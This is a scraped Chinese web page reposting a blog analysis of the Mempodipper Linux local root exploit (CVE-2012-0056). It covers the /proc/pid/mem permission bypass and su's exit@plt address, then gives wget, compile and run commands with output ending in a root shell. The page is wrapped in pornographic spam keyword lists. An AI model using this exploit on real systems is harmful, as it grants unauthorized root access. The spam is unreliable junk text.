婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > Linux>=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)

Linux>=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)

熱門標簽:佛山外呼系統平臺 長春外呼系統價格 電銷機器人的效果 南寧智能外呼系統線路商 聯客智能語音外呼系統賬號格式 長沙智能外呼系統中心 南昌語音外呼系統代理 成都移動外呼系統 美圖手機

Linux>=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)
 /proc/pid/mem是一個用于讀取和寫入,直接通過各地尋求與相同的地址作為該進程的虛擬內存空間進程內存的接口。
  
 影響Linux 內核> = 2.6.39
 當打開/proc/pid/mem時,會調用此內核代碼:

復制代碼
代碼如下:

static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}

 任何人都可以打開/proc/pid/mem fd 的任何進程寫入 和讀取,不過,有權限檢查限制。讓我們看看寫功能:
 
復制代碼
代碼如下:

static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;

 看代碼有兩個檢查,以防止未經授權的寫操作:
 
復制代碼
代碼如下:

check_mem_permission和self_exec_id。
Check_mem_permission的代碼只需調用到__check_mem_permission,代碼:
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
if (task == current)
return mm;
if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
mmput(mm);
return ERR_PTR(-EPERM);
}

 有兩種方法能對內存寫入。
 
復制代碼
代碼如下:

$ su "hsmw fuck you"
Unknown id: hsmw fuck you
可以看到su的stderr 的輸出“Unknown id:”,我們可以fd 打開/proc/self/mem, 來確定在內存中的位置, 然后dup2 stderr 和mem fd, 把su $shellcode 寫入到內存中,獲得root.
已task == current測試, 用self_exec_id 匹配self_exec_id 來檢測fd 的打開。
Self_exec_id在內核中只引用的少數幾個地方。
void setup_new_exec(struct linux_binprm * bprm)
{
current->self_exec_id++;
flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

 我們創建一個子進程,用self_exec_id來exec 到一個新的進程里面。當我們exec一個新的進程,self_exec_id會產生一個增量。這里程序忙與execing到我們的shellcode寫su,所以其self_exec_id得到 相同的值遞增。所以我們要做的是把exec一個新的進程,fd /proc/parent-pid/mem 到父進程的PID。這個時候的FD是因為沒有權限僅僅打開檢查。當它被打開,其self_exec_id來時起作用,把我們exec來su,用self_exec_id將遞增。通過我們打開的FD從子進程返回父進程,dup2,和exec 溢出代碼到su.
 接下來調試溢出的地址和ASLR隨機進程的空間地址。
 在這里得到錯誤字符串:
  403677:       ba 05 00 00 00          mov    $0x5,%edx
   40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
   403681:       31 ff                   xor    %edi,%edi
   403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)
 然后把它寫入到stderr:
  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
   40368f:       48 89 c2                mov    %rax,%rdx
   403692:       b9 20 88 60 00          mov    $0x608820,%ecx
   403697:       be 01 00 00 00          mov    $0x1,%esi
   40369c:       31 c0                   xor    %eax,%eax
   40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)
 關閉日志;
 4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)
 退出程序;
  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
   4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)
 這里可以看到0×402178,這是它調用exit函數。我們來調試“Unknown id:" 的shellcode地址。
 $objdump -d /bin/su|grep 'exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'  0x402178
 它會設置uid 和gid 為0 去執行一個SHELL。還可以重新打開dup2ing 內存之前,stderr fd 到stderr,
 我們選擇另一個fd dup stderr,在shellcode,到我們dup2 ,其他fd回來到stderr。
 EXP 老外寫好了。插入一段
 
復制代碼
代碼如下:

wget http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
CVE-2012-0056 $ ls
build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#

摘自 混世魔王博客

標簽:邵陽 慶陽 云浮 阜陽 法律服務 新鄉 沈陽 東營

巨人網絡通訊聲明:本文標題《Linux>=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)》,本文關鍵詞  Linux,2.6.39,Mempodipper,本地,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《Linux>=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)》相關的同類信息!
  • 本頁收集關于Linux>=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    国产在线视视频有精品| 日韩毛片在线免费观看| 91精品福利视频| 国产精品综合一区二区三区| 久久精品国产成人一区二区三区| 视频一区二区中文字幕| 蜜臀国产一区二区三区在线播放| 午夜精品一区二区三区三上悠亚| 一区二区三区日韩| 亚洲高清中文字幕| 亚洲午夜一二三区视频| 亚洲成人一二三| 午夜成人免费视频| 青青草精品视频| 美国精品在线观看| 国产高清在线精品| 91亚洲永久精品| 欧美视频在线一区| 日韩精品最新网址| 中文字幕精品—区二区四季| 18欧美亚洲精品| 天堂久久一区二区三区| 久久国产精品第一页| 国产乱人伦偷精品视频不卡| 成人毛片老司机大片| 色综合久久久久久久久| 欧美高清视频www夜色资源网| 日韩亚洲欧美在线| 国产精品伦理一区二区| 午夜精品久久久久久久久久| 精品一区二区av| 91亚洲精华国产精华精华液| 欧美精品视频www在线观看| 久久这里都是精品| 亚洲午夜在线电影| 国产精品中文字幕欧美| 欧美日韩一级视频| 国产精品国产精品国产专区不片| 亚洲午夜日本在线观看| 国产乱人伦偷精品视频不卡| 欧美日韩成人高清| 国产精品乱码一区二三区小蝌蚪| 日本不卡在线视频| 91麻豆精东视频| 欧美激情一区在线观看| 视频在线观看91| 91久久精品日日躁夜夜躁欧美| 欧美一区二区二区| 一区二区三区欧美在线观看| 国产在线不卡视频| 4438成人网| 一区二区高清在线| 成人免费高清在线| 久久久另类综合| 日韩二区在线观看| 精品视频免费在线| 玉米视频成人免费看| 成人午夜视频在线| 久久久久久久久久久久久久久99 | 欧美另类久久久品| 亚洲色图都市小说| 成人免费毛片app| 国产拍揄自揄精品视频麻豆| 奇米影视在线99精品| 欧美精品自拍偷拍动漫精品| 亚洲国产精品精华液网站 | 亚洲免费观看高清| av在线不卡免费看| 成人欧美一区二区三区小说 | 国产在线国偷精品免费看| 91精品福利在线一区二区三区| 亚洲一线二线三线视频| 欧美综合视频在线观看| 亚洲情趣在线观看| 91蜜桃婷婷狠狠久久综合9色| 国产精品久久久爽爽爽麻豆色哟哟| 国产一区二区三区久久久 | 国产精品视频在线看| 国产91高潮流白浆在线麻豆 | 亚洲成人动漫精品| 欧美久久久久久蜜桃| 日韩精品乱码免费| 欧美年轻男男videosbes| 午夜在线电影亚洲一区| 欧美日韩一级视频| 久久99在线观看| 国产亚洲一本大道中文在线| 99久久er热在这里只有精品66| 1000部国产精品成人观看| 色系网站成人免费| 日本不卡视频一二三区| 精品国产免费一区二区三区四区 | 综合久久给合久久狠狠狠97色 | 精品国产一区二区三区四区四| 国产剧情在线观看一区二区| 国产精品久久一卡二卡| 色八戒一区二区三区| 午夜精品久久久久久久久久久 | 亚洲视频一区二区在线| 色婷婷综合久久久中文一区二区| 亚洲永久免费av| 6080午夜不卡| 成人一区二区三区视频在线观看| 一区二区理论电影在线观看| 欧美二区三区的天堂| 欧美国产一区在线| 久久精品国产精品青草| 中文字幕不卡的av| 欧美精品tushy高清| 国产福利一区二区三区视频| 亚洲欧美日韩中文播放 | 欧美一级片在线观看| 国产乱人伦精品一区二区在线观看| 欧美激情综合网| 日韩一区二区精品在线观看| 不卡影院免费观看| 日本午夜精品一区二区三区电影| 久久综合av免费| 欧美日韩国产精品自在自线| 国产成人午夜电影网| 日韩电影在线一区二区三区| 中文字幕中文字幕中文字幕亚洲无线| 在线观看欧美精品| 成人黄色在线网站| 蜜臀精品久久久久久蜜臀| 亚洲人成伊人成综合网小说| 欧美videofree性高清杂交| 欧美中文字幕亚洲一区二区va在线| 国产成人免费高清| 精品一区二区三区香蕉蜜桃| 亚洲成在人线免费| 伊人夜夜躁av伊人久久| 国产欧美精品一区| 精品国产一区二区三区不卡| 欧美精品三级在线观看| 欧美视频完全免费看| 久久久综合九色合综国产精品| 福利一区二区在线| 国产清纯美女被跳蛋高潮一区二区久久w| 91一区二区三区在线观看| 国产91精品一区二区麻豆亚洲| 男男成人高潮片免费网站| 一区二区三区精品| 欧美在线视频全部完| 欧美日韩国产天堂| 久久男人中文字幕资源站| 日韩美女视频一区二区 | 欧美情侣在线播放| 久久久蜜桃精品| 亚洲午夜电影在线观看| 久久国产精品色婷婷| 91一区二区三区在线观看| 日韩欧美一区中文| 亚洲另类在线一区| 精品一区二区三区视频| 欧美在线制服丝袜| 日本一区二区电影| 免费成人在线视频观看| 99久久综合狠狠综合久久| 日韩限制级电影在线观看| 亚洲视频综合在线| 卡一卡二国产精品| 97se亚洲国产综合自在线不卡| 日韩午夜av一区| 亚洲一二三四在线| www.亚洲人| 久久香蕉国产线看观看99| 亚洲国产aⅴ成人精品无吗| 丰满亚洲少妇av| 欧美电影免费观看完整版| 一区二区三区在线视频观看| 国产成人av影院| 精品日韩欧美在线| 日韩激情中文字幕| 一本色道久久加勒比精品| 久久精品一区二区| 久久福利视频一区二区| 欧美午夜片在线看| 亚洲国产成人在线| 国产一区二区日韩精品| 欧美一级精品在线| 亚洲电影一区二区三区| 91麻豆精品秘密| 亚洲色图在线播放| 99视频一区二区| 中文字幕在线不卡一区| 福利电影一区二区三区| 国产日韩欧美高清在线| 国产精品中文字幕一区二区三区| 日韩视频一区在线观看| 蜜乳av一区二区| 欧美v日韩v国产v| 久久国产福利国产秒拍| 精品久久国产老人久久综合| 日本不卡视频在线观看| 91精品国产黑色紧身裤美女| 日韩精品五月天| 欧美第一区第二区| 精品一区二区三区免费观看| 538prom精品视频线放|